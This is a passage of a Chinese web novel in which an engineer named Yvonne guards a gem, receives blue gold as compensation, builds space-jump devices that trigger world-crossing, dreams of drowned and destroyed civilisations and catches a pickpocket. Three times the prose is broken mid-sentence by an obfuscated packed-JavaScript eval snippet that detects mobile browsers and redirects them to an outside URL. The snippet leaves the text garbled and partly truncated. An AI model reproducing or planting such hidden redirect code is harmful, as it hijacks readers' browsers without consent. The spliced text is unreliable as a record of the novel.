她应该不用跟这两位一起杵在这吧? 等了会儿也不见有第二个佣兵过来,看来她“运气好”没被分配组队。伊冯试探着开门,守卫没有理会她的动作,而她的终端信息也通过了身份认证,允许进入。 房间里只有一个宝石展示台,没有任何物理隔断装置,就那么让宝石裸露在空气中。房间上下倒是装了不少对准宝石的感应器,能在宝石被移动的瞬间告警。 伊冯知道卡洛琳主张不用玻璃阻挡人欣赏宝石的美丽,连运输途中都要贯彻这点吗? 伊冯观察着房间内的布置,在心里假设如果有盗贼盯上这颗宝石,可以如何得手。几番设想后,这个房间里的安保措施在她眼里简直漏洞百出。宝石售卖市场被卡洛琳高度把持、偷到宝石后难以出手,才是卡洛琳多年未有失窃新闻的原因吧。 她走到展示台边,观察这颗她负责保护的宝石。 这是颗红色的碧玺,颜色和切割方式都算上乘的,但是……伊冯低头看向自己戴在领口的变色碧玺,这颗碧玺的价值应该不比卡洛琳用来装扮她的高。 不会吧? 伊冯面色古怪地重新打量房间,难道佣兵们戴上的宝石才是真正的护卫目标?给作为外人的佣兵进入存放宝石房间的权限,是因为佣兵本身就是应该存放进保险库的宝石盒? 如果是这样,为什么卡洛琳要选择她来护卫,这种示假隐真的手段,找对宝石缺乏了解的人来才更保险吧? 门突然打开,“火欧泊”女士走进来,对着她微笑。 伊冯看着她身后关上的门,将手背到身后启动定影,问:“有什么事要交代吗?” “火欧泊”女士说:“利比逖小姐——这么称呼您可以吗?” 突然的恭敬肯定有所谋求,伊冯不减警惕,点点头,等她接下来的话。 “利比逖小姐,您似乎已经发现了我们的一点小设计,”她慢慢走到展示台前,俯身看着躺在软垫上的碧玺,“如果没有人去为它附加价值,它与路边的某块石头又有何区别呢。被束之高阁拒绝观赏的,再美丽也没有意义。” 她又看向伊冯的领口,满意地说:“宝石是有生命的,只有找到合适的主人,才能释放它的光彩。它比那颗红宝石更合适装点您的眼睛。” 卡洛琳是为了那颗红宝石引她过来? 伊冯问:“你们从那颗红宝石上发现了什么?” “火欧泊”没有直接回答她,而是直视着伊冯的眼睛,好像在里面寻找什么。 她说:“您是怎么得到那块红宝石的?” 伊冯皱眉,她不喜欢被问这种问题。 对方也看出她的不快,说:“抱歉,我无意冒犯您——只是,那并不是属于您的,我们想知道它真正的主人在哪里。” 说着不想冒犯,又说出更无礼的话。伊冯没有半点好脸色地说:“在它被偷走前,它一直属于我。” “火欧泊”女士摇摇头,解释道:“那不是天然宝石,是制造出来的,我们想知道是谁造出的那块红宝石。” 早这么说不就好了,和她打什么哑谜。这个问题的答案可能只有问以诺才知道了,伊冯没法回答她,就算知道也不想回答她。 伊冯没好气地说:“不知道。你们自己查吧。” “火欧泊”倒是不追问,拿出一个刻纹精致的盒子递向伊冯。 伊冯接过盒子打开,里面是一块拳头大小的蓝金,蓝色浓郁得几近墨色,市值少说千万。 “火欧泊”说:“这是那颗红宝石应有的价值。我们不能将它还给您,只能以这作补偿。” 伊冯问:“你们究竟发现了什么?” “火欧泊”的声音突然放轻,说:“那不是该从我的口中说出的。如果那是您应该知道的,答案总有一天会被送到您面前。在那之前,请勿强求。” 她说完便转身出了房间,伊冯知道再问她也没用,关上盒盖,把盒子塞进她拎着的衣服包裹里。 这些人怎么都喜欢抱着答案打哑谜?以诺也喜欢这么说些云遮雾绕的话。实在讨厌。 伊冯盘腿坐下,打开记事本编辑新的购物清单。拿到这么高品质的蓝金,做空间跳跃器最困难的条件便解决了,接着该计划如何在栖止的那个地下室里建一个穿越实验室了。 卡洛琳的这趟宝石运送航线平静无波地抵达目的地,轻松完成了一次任务的佣兵们换回自己的衣服,将卡洛琳提供的衣物连带实际价值连城的宝石一同交还,拿到佣金的同时,还得了一颗市值十几万的普通宝石作纪念。 除了伊冯,她戴着的那颗碧玺被交代不用交回,就如卡洛琳的坚持,“宝石应留在适合它的人手中”。 伊冯对于宝石没有追求,有着能鉴赏宝石品质的眼力,只是由于阿吉斯的“贵族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621597|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教育”。这颗碧玺留在手里,她只觉得麻烦,又不是像蓝金那样可以用来当材料的稀有品。 伊冯问:“我可以把它卖掉吗?” “火欧泊”的眉毛一抽,挤出笑说:“如果您目前不想把它留在身边,我们可以代为保管。” 伊冯说:“听起来我好像有点亏。” 利比逖的账户在她这句话后多了五百万,“火欧泊”一边假笑着说这是她目前能调动的最高金额,一边客气地将伊冯请下船,而后飞快地关上舱门。 伊冯再打开佣兵任务交流界面,发现卡洛琳的交接人已经把她删了。 至于这么怕吗,好像她会追着要钱似的。 伊冯望着周围,这里是贝丽修玛系的经济中心,最繁华的“索莱伊”。她还是第一次来贝丽修玛,这个星系盛产宝石、鲜花和颜料,每颗星球都风景绮丽,现在既然来了,眼下也不用为资金问题操心,顺便游玩一会儿吧。 伊冯在地图上圈出几个感兴趣的地标,索莱伊是贝丽修玛少有的自然面貌保留较少的星球,以出色的建筑设计构成的城市景观闻名。 走出港口,看到的建筑已经比元星上规整、颜色单调的要鲜艳许多,伊冯被吸引着慢了步子,打开终端录制功能录下新鲜的风景。 这么一耽搁,正好错过了最后一个空置的跳跃器,她到时只看见最后一个进入的乘客的背影。 星内空间跳跃器和普通交通方式不同,只能按目的地划分乘坐批次,且两次启动间需要间隔十分钟,错过这次等下一次也不耽误什么。 伊冯进入跳跃器后打开腰上的检测器。之前在布莱德使用星内跳跃器时,她也模糊见到另一个世界,但或许是因为星内跳跃产生的空间波动不够强烈,她没有离开,这次呢? 这次她穿越了。 伊冯看着眼前渐渐清晰的景象,眼前看到的画面在缓慢后退,她适应了会儿,发现自己坐在一辆样式古老的车内。她坐在后座,被一条带子束缚在座位上,前方的驾驶位里有个握着圆环的人。 好像是驾驶员的人开口说话:“堵车了,不过时间还早,肯定能在开场前把你送到。” 车里只有她们二人,驾驶员是在与谁通讯吗? 伊冯接着发现自己的衣服变了,颜色鲜艳,布料柔软。她从车窗的反光看到自己的脸,不是利比逖,也不是“伊冯”的脸。 虽然是张陌生的脸,但她初次穿越也变了样子,因此倒没很惊讶。 驾驶员突然笑说:“这次不着急自己跑过去了?” 看她将头偏向后方说话的姿势,她是在和自己说话? 伊冯还是没说话,车内气氛渐渐有些凝滞,驾驶员过了会儿又说:“演出日不是她一个人能决定的,让你这个寿星迁就她确实说不过去,不过小念也为这场演出努力了很久,你们这么多年的朋友……” 对方说着说着没了声音,伊冯能从后视镜上看到对方尴尬的表情,估计是看到她缺乏兴致的样子,说不下去。 车慢慢往前挪着,伊冯不耐烦把穿越后的时间都花在坐车上,问出她们此行目的地后,让驾驶员解开带子打开车门,自己下了车。 下车后她没急着往前走,观察着周围的景色。总算让她穿越到满是人类文明痕迹的世界,虽然很复古,但总比站在纪录片投影里有趣。 她正闲逛着,忽然发现有视线停在她身上。 她望过去,路边站着个一身黑衣的人,脸也遮着,只露出双眼睛,背着一个形状奇怪的黑箱子。看身型,是个和她体型相近的女性。 视线相对,对方紧盯着她的眼睛走近她。 她走到伊冯面前,问:“这是你的过去,还是未来?” 26. 顺序 听到这个问题的同时,伊冯便被眩晕感带回原来的世界。 伊冯看着打开的星内跳跃器外如浓艳油画般的建筑群,外面的风景很美,但现在对她已经缺乏吸引力。她面无表情地抬手在内部操作板上选中原路返回快捷键,付款启动。 这一次的星内跳跃没有穿越,她能感受到极细微的拉扯感,但不足以带她离开这个世界。 又出现了什么变量? 伊冯再次启动跳跃器,她顺利地到达输入的地点,没有任何插曲。 她的心跳无法恢复平稳,恨不能立刻再进行一百次跳跃,她想立刻开展实验,进行更多的穿越,以此获取更多的信息总结出规律。 正好她现在在索莱伊,此次跳跃目的地就在商业中心,这里销售的商品种类丰富,她进商城买齐需要的东西后,坐上商家送货上门的货船返回栖止。 超远距离的空间跳跃再次引发了穿越。 伊冯已经习惯了伴随着穿越出现的眩晕感,正期待着新世界又会给她什么新信息,猝不及防呛了一大口水。 防护罩自动开启将她身上的水隔开。眼睛被咸腥的水刺激发疼,闭眼将多余的水挤出;鼻子里也灌了水,嘴里又咸又涩。她揉着因岔气发疼的胸口,睁眼看自己在哪。 她正浮在水中,入目唯有天与水。 伊冯两脚后跟相撞,启动浮力器站到水面上。防护罩对于这种环境判定的危险级别不高,要不是她呛了水引发生理不适,也不会自动打开。这点也要改进。 伊冯在水面上走了一会儿,脚下偶尔有好奇的鱼类探头顶她的脚底,都被浮力器推开,反而吸引更多鱼追在她脚边。 反正它们也碰不到她,伊冯没有理会,从口袋拿出小型飞行器,启动上面的探测器,操控仪器升空寻找陆地。 脚下的水生动物越聚越多,慢慢以她站立的位置为圆心绕圈游动。 伊冯低头看见叠了十几圈的同心圆:浮力器的波动对它们有什么特殊的吸引力吗? 飞行器探寻到登陆点前乱走只是白耗体力,伊冯原地坐下,看着水下各种游动的生物打发时间。这些一起游动的动物间还有些是捕食关系,怎么这么和平,正好是吃饱消食时间? 飞行器终于传回消息,这颗星球完全被水覆盖,没有陆地。 伊冯收回飞行器,掏出副功能眼镜戴上,关闭浮力器落入水中,从动物们圈出的圆心穿过,直落水底深处。 防护罩为她排开海水筛出氧气,特制的眼镜能在多种特殊环境下正常视物,在水下光难以穿透的深处,一切在她眼中依然清晰。伊冯再度打开浮力器,调整方向,在水中如履平地地自如行动。 水上没东西,想获取信息就只能在水下找找了。 那些动物在她进入水中后又围过来,伊冯嫌它们遮挡视线,挥手也赶不走,只能把飞行器戴在后腰充当推进器,加速甩开它们。 在水下冲刺十几分钟后,伊冯终于看到了些不寻常的东西。 那是一栋残破的楼体,动物在没有遮拦的窗户间穿行,楼身覆着水生植物和藤壶;伊冯顺着这栋楼往下看,看到一片建筑的顶部。 这颗星球曾有文明,只是如今已被埋在在深海之下。 伊冯眨动眼睛,回来了。 她的穿越,好像在她发现关键信息后就会回来,像是某种被预先设置好的程序设定。不过也有例外,像竹海那次,还有去贝丽修玛时只让她看了几眼的漆黑世界。次数还是太少,说不好哪个才是“例外”。 伊冯环顾四周,走到镜子前检查自己的外表。她担心穿越时会有什么异常,所以提前一个人待在货船上的卫生间里,这会儿正好处理她落水弄湿的头发衣物。 船长来通知她货船到地方了,伊冯没让她们直接把东西送到栖止,而是在中转站停靠。被栖止的人看到她买那么多东西回去只有麻烦,她像往常自己开飞行器运回去,分开带回地下更保险。 让搬运工把东西运到她的飞行器后,伊冯发现她买太多了,把进飞行器的路都堵上了,还有三箱货物没装进去。 结算完运费后,伊冯自己坐在停机位上拆开几箱材料现做出几个部件,把包装箱和保护用的填充物丢掉后空出了位置。 飞行器顺利回到栖止,在停机场落下。她在第二次使用停机场前去东盟驻点办了卡,虽然卡费不便宜,但算下来比每次单独付费的价格要低一半。 “你怎么永远有这么多包裹。这次又赚了不少吧?” 伊冯的出入频率不比城内的佣兵团低,机场的看守也眼熟了她,对着用自制代步机运着几箱东西出来的伊冯打招呼。 伊冯坐在箱子上,没有搭理这种没意义的社交对话。 她靠维修赚钱这事城里有不少人知道,毕竟只要去中转站转一圈,就很难不听到“全能工程师利比逖”的话题,许多佣兵专程远道而来找她维修,就算是没有维修需要的人,也会留下她技术高超的印象。城里的佣兵团也想过找她给武器升级维修,但她开的价那些人出不起,又打不过她,只能眼看她开着隔几天就变了样子的飞行器频繁出入栖止。 听到身后压低声音的贬低话语,伊冯握住定影送给声源一道轻微的电流。 听到尖叫,伊冯撇嘴:有本事用这种音量骂她啊。 代步车一路把她送进她初次在栖止住宿的旅店,因为她总要带东西进地下,为了不暴露地下的入口,便先把东西放到旅店里,再拆分或入夜了再带过去。 伊冯考虑过在旅店下下挖一条连通的地道,方便她们进出,但发现这块区域在东盟检测范围内。她之前潜入东盟驻点开网络后门时,发现东盟驻点全天开着向地下监测的仪器,R的地下室正好不在她们探测范围内,但再向城内扩张就很危险了。 旅店店主看着伊冯拆开运来的箱子,里面都是她看不懂做什么用但肯定不便宜的东西。她看了会儿,忽然问:“你的钱都是在中转站赚的吧,应该足够在那里定居了,为什么还要回栖止?” 伊冯说:“在这里不用付房租。” “你花在R身上的钱,已经够在大多数星球上买房了。”店主没接受她这个说法,“你能在中转站赚钱,肯定不是不能见光的黑户。” “你也不是黑户。为什么留在这?”伊冯抬头看店主的脸,“因为R没有身份?她年纪不小了,补身份证明要交很高的罚款,你是为了她留在这?” 店主不回答她,冷着脸转身回去柜台坐着。 伊冯停下手里的动作,R的公民身份确实是个问题。没有在出身后及时登记,还拖延到近二十岁都没去登记,流珠——这是店主的名字,据她说这是水银的别称——又把R藏在地下,完全没有留下活动痕迹,偏偏她们又一直生活在混杂许多违法人员的栖止,将来去公民局做登记,恐怕很难通过申请。 到时再说吧,实在无法通过正当渠道拿到公民身份,只能去二号那买一个了。二号开的价还比罚款低呢。 入夜后,伊冯隐蔽地带着尽可能缩小过体积的材料进入地下。 在她住进地下的时间里,她利用实验的间隙和剩下的边角料对地下空间进行了许多改造。 入口装了防探测仪,安上机械自动门,只有事先录入信息的人能打开;地道沿着原有的痕迹装了更方便进出的移动仓,轨道上有一个移动仓,墙上还压缩放置了两个,如果同时多人进出,就会自动填充到轨道上供使用。 伊冯打开门坐进移动仓,门在她进入后自动闭上,通道内照明灯依次亮起,仓盖自动合上,秒速将她送到通道出口。 地下被她重新规划,分了实验室区域和生活区,用机械门隔断,主要是为了防莎丽捣乱。 莎丽就是R偷藏起来的那位老人,伊冯发现她后,问R这位是小熊莎莎吗,R手足无措地从矮柜里拿出一只小臂长的小熊玩偶,认真地说这才是莎莎。 R和老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她听到有些陌生的声音从自己的身体中发出:“今天也是我的生日?你们自己想找借口浪费材料做甜品,还拿我当借口。” 这次的梦,她不是旁观的第三视角。 黑发女人身边棕卷发的女人凑近她,笑嘻嘻地说:“生日的定义就是来到这个世界的日子嘛,你就是十九年前的今天来的呀。” 伊冯又听到“自己”说:“今年你们已经用各种理由给我过了五个生日了。能不能换个人当寿星?” “你一次也没配合过我们啊。”另一个亚麻色头发的女人说,“不能为我最可爱的侄女过生日,会成为姨姨我一生的遗憾的!” “你不想认这个生日,也没关系。”另一个黑发戴细边眼镜的女人说,“帮我们拿个主意,做什么蛋糕好?” “自己”发出迟疑的“嗯”声,说:“红丝绒?” “又是红丝绒?”几人不满地哀声抱怨。 棕卷发女人看向最初开口的黑发女人,说:“你女儿的品味还有得救吗?” 黑发女人斜睨她一眼:“红丝绒是无辜的。” 身后突然传来声响,伊冯的视角转动,看到全色包裹在黑色衣物里的少年走入,是她用星内跳跃穿越的那次遇到的人。 少年边走向她,边取下脸上的口罩,露出一张伊冯似曾相识的脸,笑说:“不让这些为老不尊的得逞一次,她们不会放过你的。” 身后的女人们笑骂着反驳她的说法,少年的名字似乎有个“nian”。 少年突然顿住脚步,收起笑,看着她说:“你知道这是哪里吗?” 伊冯眼前忽然模糊,面前的人变成那个黑发女人,女人望着她的眼睛,温柔地微笑着。 女人说:“我的孩子,你现在还不能在这。如果你想过来,找到正确的路。记得,不要弄错顺序。” 不知从何而来的一阵风,将她带离那个飘着甜点香味的房间。 27. 坏梦 被风裹挟的感觉让她感知着自己梦中的存在,她的知觉不像在那个烘焙房间里时那么具体,慢慢被风卷来的水雾蒙上梦应有的朦胧。 眼前被拉扯混杂掠过的画面终于放满了速度,她看到一个繁华的城市,高楼林立,车水马龙,行人在明媚的阳光中行走,或疾或徐地前往自己的目的地。 她的视角很高,在高楼顶部的位置俯瞰热闹的城市一角,梦中漂浮的感觉与现实中用反重力器的感觉不太一样,更加悬浮感受不到支点。伊冯转头,高楼内有人站在窗边,冲着她的方向举起一块矩形的设备。 明亮的光照中投下一片边际整齐的阴影,似乎有厚重的云层从天际铺过来。楼内的人突然满脸惊恐地向屋内奔逃。 或许是因为她的思绪仍留在那个房间里,此刻的反应总让她自己也觉得迟钝。 直到下方的车辆鸣笛声过长过多,伊冯向下看去,许多车辆试图调转方向逆行导致道路拥堵,路边的行人杂乱地跑动,一片混乱。 她这才看向投来阴影的方向,那不是云,而是将云也卷入其中、与天平齐的巨浪。 过于巨大的物体移动时容易给人缓慢的错觉,浪涛仿佛只是被悬挂起装饰天景,并未移动;然而下一刻,城市便被洪水吞没,那些呆滞没来得及移动的,那些早有所觉驾车逃走的,都在同一秒被淹没。 伊冯的视角不知何时升高,她在水面之上,繁华的都市不复存在,举目远眺唯有翻涌的波浪。她低头,被淹没的人中还有奋力游向水面挣扎求生的,外观破损不多的建筑中有尚未落水的人在寻找生路。 伊冯睁开眼,看着自己伸出的手。 她没能抓住那只伸出水面的手。 那是梦,当那个世界被淹没时,她并不真的在那,当然救不了任何人。 伊冯把沉闷的情绪叹出,看了眼时间,已经是早上了。 看来多睡几小时也没用,梦里度过的时间与现实不一致,她看到了“该看的”就不能在梦中逗留,与她的穿越一样,获取到关键信息她就会脱离。 睡前她穿越了两个世界,睡后梦到两个场景,这套“会梦到穿越世界信息”的程序真是运行规整。 她坐起来,换衣洗漱的同时整理梦中的信息。 后一个梦好理解,她梦到了那个被淹没的文明是如何葬于海下的,看到的是穿越的世界过去的某个片段;前一个呢?那个黑衣少年两度揭露她不该在那个世界,黑发女人叫她“我的孩子”。 她们知道她来自别的世界,却对她的身份没有疑惑,反而问她是否清楚自己的所在。 黑衣少年提到“过去”和“未来”,黑发女人说她“现在还不能在这”,就好像……那是她的未来。 穿越空间的同时穿越了时间,这不难以理解,如果那是她的未来—— 伊冯想起她在那个世界是另一种样貌,她们说她是在“十九年前的今天”去到那个世界,她会在未来去别的世界重新开始人生? 那些女人似乎都是她的亲属,穿越对于她们是理所当然的事吗? 她被称作那个黑发女人的女儿——可她的母亲是罗莎蒙德,那是罗莎蒙德未来的样子?她也换了个外貌重新体验人生? 或许她早该再去见罗莎蒙德一面了。 伊冯第二次来到布莱德星,心情比第一次来还要复杂。最初,她还以为她们母女间只是有些复杂的豪门恩怨,现在事态逐渐往时空秘密、超级人类等等科研领域的终极谜题方向发展了。 来的路上她当然又通过跳跃器穿越了两回,一次去到不见活物的极寒世界,一次去了遍布火山岩浆的灼烧星球。要不是在穿越前就以防万一打开了防护罩,这俩世界都能让她脱层皮再回来。 这次星内跳跃也未诱发她有什么反应,她现在不会在这点上思考太多,存下检测器的记录便直奔罗莎蒙德的甜点作坊。 记忆中的位置却不再飘荡香甜的空气,那个本经营甜点生意的店面,如今装点着闪亮的招牌,橱窗里摆放着精致的服装。 伊冯快步进店,直奔柜台问老板是谁。 柜台后的老板困惑地问伊冯找她有事吗。 伊冯问:“这里之前是一家甜点店,老板叫罗莎蒙德,你知道她去哪了吗?有她的联系方式吗?” 老板说:“我只知道是她老家来人找她回家,她就把店转让给我,房子也卖了。听一些认识她的客人说,她把所有人的联系方式都删了,看样子是不打算再回来。” 伊冯抿唇,以诺之前是从罗莎蒙德手上把她带回去的,是以诺又把她藏起来了吗?她只能从以诺那里得到答案吗? 她不相信只有找以诺求证这一条路,她能从自己身上得出答案。 伊冯没在布莱德逗留,立刻回到栖止组装她的空间跳跃器。 返程路上穿越的又是几个死寂的世界,她那晚的梦仿佛看了部四合一浓缩版末日主题电影,繁盛的星球文明以各种方式被毁灭在她眼前。 看着数以亿计的人在瞬间死去,绝对不是什么好体验。她穿越的是什么样的世界,背后一定存在某种筛选机制为她选择,为什么要让她看这些? 伊冯只能从更多的穿越中去寻找答案。 流珠看着拖沓着步子走出来的伊冯,问:“怎么这副死样子?” 伊冯有气无力地说:“没钱了。” 流珠见她这样子只觉得好笑:“这里谁有钱?” 伊冯没法和她说自己这两周花掉了五百多万,只能沉默地走出流珠的旅店。她为了不暴露地下入口,回来时要装作住在流珠店里,出去时自然也要提前进店再出门。 钱这东西真的太经不起消耗了。之前没钱的时候,伊冯还记得全方位节省成本,从最便宜的材料里挑能用的;一下进账五百多万后,她好不容易养成的节俭金钱观,又不自觉回到了阿吉斯教育下熏陶出的“高眼界”中,按着在阿吉斯时的习惯购入最高端的各类产品,制作出两个空间跳跃器后,还继续给各类设备进行升级。 不用为价格妥协成品质量的感觉真的很好,可惜她沉浸在这种感受中没几天,就在下单时被跳出的“余额不足”打回现实,只能暂停实验出门赚钱。 制作空间跳跃器以及完成后的调试一共花了一周半的时间,刚投入正式实验还没三天。 跳跃器的运行原理,是设置已知的两个点,在可被观测的两点间建立最短路径、折叠尽可能少的空间,实现点到点的传输;两点间距离越短,需折叠的空间越少,空间也就越稳定,反之亦然。 伊冯使用星球内部的空间跳跃时,基本不会穿越,正是因为星内的跳跃点间距离近,点与点之间的空间少,折叠时产生的波动趋近于无,难以诱发穿越现象。 所以伊冯要进行穿越实验,首先需要至少两个空间跳跃器达成两个点的条件,接着需要让这两个点间折叠的空间尽可能地多。 两个跳跃器她已经有了,问题在于两个跳跃器间的距离。 她不可能跑到几个星系外找地方设置跳跃点。栖止这种在混乱中又维持微妙秩序,且正好地下遍布反探测原石、能让她的实验不被发现的地方,要找到第二个,可不是不耗费许多时间精力金钱能做到的事。 最终她用了一个取巧的方式:把一段距离内的空间尽可能多地折叠。就像折叠一张白纸,可以两端对齐只折一次,留下一条折痕;也可以将纸沿长边正反交替折叠,形成几十条折痕。 过多的折叠次数会让纸变软,空间也会因过多的折叠变得脆弱不稳定,更易引发穿越。 伊冯成功了,顾虑到之后会做的梦,她控制了自己不在短时间内进行过多的穿越。三天里她只穿越了八次,次次都是人类文明毁灭的末日后世界,当晚的梦里也都会给她展示那些文明被毁灭的时刻。 她看起来无精打采,一部分是因为不想停下实验去挣钱,更多则是因为梦里讨厌的景象导致睡眠质量降低而精神不佳。 要怎么才能穿越到和平的世界啊,刚开始穿越时去的那几个世界不都挺好的吗,梦的内容虽然有些奇怪,起码没有对精神施压的东西。 是因为那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621599|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑发女人说的“正确的顺序”吗,什么的顺序,时间?有办法控制穿越的时空位置吗? 伊冯脑中一刻不停地思考着,人已经开着飞行器到了中转站。 从卡洛琳那赚了一笔不菲的佣金后,她现在更没耐性在中转站赚一单几百几千块的维修费。给几个老客户做完维修后,伊冯又坐在路边刷佣兵站点里的任务界面。 今天刷到的任务,佣金标价最高的才五万佣金,看任务描述还得跑好几个星系。伊冯没再多看,转到官方悬赏页面,看这里有没有更新跟栖止城外那些帐篷里的人相符的悬赏对象。 还真被她看见熟人。 外号叫“桑姐”的越狱犯,赏金十万。 这不是让她赚了第一桶金的星匪吗? 伊冯按更新顺序再翻找了一会儿,她上回抓到的五人全都榜上有名,因为越狱罪加一等,她们的悬赏金都比上回翻了一倍。 虽然加起来只有十八万,但总比别的钱好赚。 当初她抓这几人时,入侵过飞行器、她们的终端和那个叫“阿洁”的机器人的系统,只要有一个系统没清理干净,她就能顺着当初留下的后门定位她们的位置。 伊冯心情总算明亮许多,快步往停机场走,准备出发拿到这笔赏金。 忽然她眉头微皱,伸手进裤兜口袋:她装在这里面的仪器少了一件。 偷到她身上了? 伊冯打开遥控,定位被偷走的仪器位置,穿过人流抓住刚溜出几步远的小偷。 “你干嘛?要抢我东西吗?”对方反倒嚷嚷起来,“有没有天理了!有人当街欺负小孩啊!” 这个小偷身形瘦小,只勉强到伊冯胸口高,过瘦让她的眼睛显得更大,看着像是个稚气未脱的十岁出头的小孩子。 眼见路人被她的叫声吸引,小偷迅速挤出了眼泪,哭号道:“大姐您放过我吧!我身上没有值钱的东西,只有我早死的妈留给我的一点念想,这要是被人抢了,我就活不下去了啊!” 她声泪俱下,看着实在可怜,路人中很快有了同情的声音,就算有认出利比逖知道她不会莫名欺负人、也有老油条看出小偷耍的什么花招,也都是劝伊冯大度放人一马的。 伊冯不为所动,握紧拳头揍了下去。 “啊!!!” 小偷这回是真嚎了,痛得都顾不上装弱势,对着伊冯破口大骂。 伊冯把她的手扭到一起,从口袋里抽出平时用来捆快递的压缩绳,把人捆成一团顺带塞住嘴。 把打包成粽子的人甩到肩上,伊冯看着周围瞪着眼睛看热闹的人,说:“我要带小偷去警局,你们呢?” 路人立刻散开,不过是失主抓贼罢了,有什么好多事的。 伊冯先把人拎到飞行器上,小偷把她的东西藏在内衣里,她不好在外面拿回来。 为了把东西拿出来,伊冯换了种捆法,塞在小偷嘴里的绳子也拿了出来。她见小偷觑着她的脸色,没有乱喊乱骂,这回捆上就没堵嘴。 小偷在她拿回仪器时还试图挣扎狡辩,说伊冯不能看她年纪小就当她没有羞耻心乱碰。伊冯面无表情地看她一眼,小偷被凶气吓到,才住了嘴不敢乱动。 伊冯拿回她的东西,表面粘了层污垢,这小偷不知道多久没洗过澡。把仪器表面擦干净收好,伊冯坐到驾驶位上启动飞行器。 小偷发现她们起飞了,慌忙问:“你,您要带我去哪啊?我就偷了那一个小东西,您也拿回去了,犯不着为这个杀人抛尸吧?” 伊冯问:“你是怎么从我口袋里把它拿走的?” 虽然她很快因为重量不对发现失窃,但对方下手时她竟然毫无察觉。伊冯无法释怀,她这段时间是把精力都投入在实验上,很久没做体术训练,警觉性居然已经如此差了吗? 小偷怯怯地说:“这个,没点本事怎么吃饭嘛……” 伊冯冷冷瞥去一眼,把小偷看得寒毛直竖,不停讨饶求伊冯把她丢去警局,她愿意进监狱洗心革面绝不再犯。 伊冯没再理她,还有五个贼要抓呢。 28. 蓝金 伍迪已经在任务中心转悠了两个小时,还是下不了决心。 前台接待员看她的频率越来越高,大概她一有什么让人误会的举动,就能被叫来的警卫按趴。 伍迪烦躁地抓了几下头皮,又站到佣兵排行榜前一页页地翻看。 她不是佣兵,来这里是为了发任务——发任务用内网就行,可她实在心疼中心收取的手续费和提成费,对着网页纠结两天后来了这个线下任务发布中心大厅。 并不是线下发任务就没手续费和提成了,伍迪抱着几分侥幸,想找一个也不想被中心抽成的队伍。 最重要的是,发任务要向中心交代任务细节,可她意外发现的那些东西,要是被中心知道了……多半就没她什么事了。 高级佣兵的佣金她付不起,雇低级佣兵她又担心会让自己送命。最后要是什么都没拿到不就血亏了? 伍迪抓着头发蹲在墙角碎碎念着,任务大厅中除了怀疑她会捣乱的工作人员,没有人在意她的行为。佣兵本就是星盟中最人员混杂的群体,没有利益纠纷,谁管你是在这里跳大神还是裸奔。 黑色短卷发的年轻人停下,看着那个表现得有些神经质的女人。 “刘念?怎么了?”布莱恩因为同伴的举动也停下,顺着他的视线注意到女人,“你认识?” 却看到他摇了摇头,向女人走去。 布莱恩挑眉,跟了过去。 伍迪沉浸在个人世界里,人走到她跟前才发现,吓得跳起来把自己拍在墙上。 刘念的视线跟着她上移,摁住手臂上的终端,终端发出原始的机械音:“发任务?” 哦嚯——布莱恩发出了发现肥羊的声音。 小型多功能飞船降落在空地上,伊冯绑好武装带,确认需要装备都齐全后,打开防护罩,和刘念走下飞舰探路。 一颗小行星,体积还不足以形成稳定的引力场,飞船还要下锚固定,人员行走时也要开单体重力装置。这样的地方,能藏着什么? 地面上零散地点着些厌氧植物,单个叶片比行走时沾在鞋面上的尘土还小,但因透着些蓝,很容易被发现。 “没有动物痕迹。”伊冯在地上插入一个定位标,“我采集些植物样本。” 刘念点头,从后腰拔出砍刀,另一只手激活能量枪的攻击模式,帮伊冯护卫。 距离伊冯逃家跑到栖止,已经过去了两年。 以诺当然还在找她,只是这事不好声张,伊冯又伪装了外貌,靠着以假乱真的伪造身份在栖止定居,住在不会被探测器检测到的地下室里,缺钱才出来当行踪不定的佣兵,到现在那些暗中寻人的队伍都只能没头苍蝇似的乱转。 她正面撞见过那些人几次,因为完全没引起怀疑,她有时还会故意往对方面前凑,甚至帮她们修过设备——当然,她对阿吉斯的收费标准是按最高价位来的,她们为求低调,发现被当冤大头宰了也不会找她计较。 除了正好遇见时,拿她们无知无觉的样子当笑料看,伊冯不多关注她们。 她的精力只花费在研究自身体质的实验上。 她制作的空间跳跃器现在已经能稳定地引发穿越现象,确定了怎样的空间波动是能引发穿越、怎样的是不能的,现在她的课题是如何选择穿越的目标世界。 这段时间以来她去的全是被天灾毁灭文明的世界。她手上只有穿越到竹海世界、见到那个黑衣少年的世界,这两次穿越到存有文明的世界的数据,很难建立实验方向。 在伊冯看来,她目前最大的成果,是反向制作出了制止穿越的干扰器,能在使用空间跳跃器时,使空间维持在足够完成跳跃但不会导致穿越的稳定状态。 